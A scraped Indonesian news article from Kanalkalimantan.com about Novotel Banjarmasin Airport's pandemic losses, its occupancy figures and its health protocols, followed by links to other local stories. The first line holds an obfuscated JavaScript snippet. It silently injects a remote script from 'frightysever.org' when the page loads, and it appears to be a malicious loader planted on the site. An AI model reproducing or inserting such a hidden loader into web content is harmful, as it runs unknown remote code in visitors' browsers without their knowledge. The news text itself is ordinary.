(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pandemi wabah virus corona membuat pelaku usaha perhotelan sangat terpukul. Pembatasan aktivitas di berbagai daerah membuat okupansi hunian anjlok.
Beragam upaya dilakukan bisnis perhotelan agar bisa tetap bertahan. Saat ini bisnis hotel dan restoran tengah berjuang keras bangkit di tengah pandemi.
Seperti dilakukan Novotel Banjarmasin Airport yang menerapkan segi managemen Accor yaitu All Safe-Your Safety is Our Priority. All safe adalah protokol kesehatan standar yang dilakukan managemen Accor -grup hotel jaringan Novotel-.
Sebelum pemerintah menerapkan adanya new normal, managemen Accor terlebih dahulu menerapkan protokol kesehatan melalui all safe yang dikembangkan di semua hotel jaringan.
Baca juga: Temuan ‘Sepele’ di RSD Idaman Banjarbaru, Atap Bocor, Westafel Tanpa Air hingga Lift Rusak
Renny Hendrijeta Pattiwael, Executive Secretary & PR Manager Novotel Banjarmasin Airport kepada Kanalkalimantan.com, mengatakan, Novotel Airport Banjarmasin banyak kehilangan tingkat hunian kamar selama pandemi sejak tahun 2020 hingga saat ini.
“Awal mula pandemi Covid-19, tingkat hunian kamar hanya kisaran 10-20 persen. Jauh sekali dari normal 60 sampai 80 persen. Kami juga kehilangan banyak event, terutama event pemerintah,” ungkap Renny -biasa disapa-.
Kondisi itu, membuat manajemen Novotel Banjarmasin Airport mengambil kebijakan internal diantanya mengurangi penggunaan listrik, serta menyetop tenaga casual yang didukung oleh manajemen owner, hal ini dilakukan agar hotel tetap berjalan.
Di tengah pandemi, Novotel Banjarmasin Airport mendapatkan surat edaran untuk tidak menyelenggarakan event, hotel tetap melakukan prosedur protokol dalam pantauan pemerintah, saat itu sebelum adanya new normal.
“Kita berharap pandemi ini akan berlalu dan tetap optimis, karena vaksinasi sudah berjalan, dengan harapan semua akan back to normal,” kata Renny.
Baca juga: Pelatihan Kapasitas Anggota BPD Bersinergi dengan Program Gitaku Manis
Sektor perhotelan memang salah satu yang paling terdampak, meski begitu sejumlah pengamat ekonomi mengatakan, sektor pertama yang akan bangkit adalah wisata, tentunya peluang bisnis perhotelan kembali bangkit.
“Bangkitnya wisata, ini tentu akan berefek pada perhotelan, seperti tingkat hunian,” aku Renny.
Menghadapi kebangkitan sektor wisata, pihaknya tetap mengutamakan protokol kesehatan, menimbulkan kepercayaan kepada para tamu. “Karena strategi promosi tidak akan mendongkrak occupancy, bila tidak ada kepercayaan,” terangnya.
“Untuk event saat ini kami menerapkan peraturan pemerintah, setiap event harus mengikuti peraturan pemerintah dan Satgas, karenanya semua event harus ada surat perizinan dari Satgas,” tegas public relation Novotel Banjarmasin Airport ini. (kanalkalimantan.com/dewi)
Reporter : dewi
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.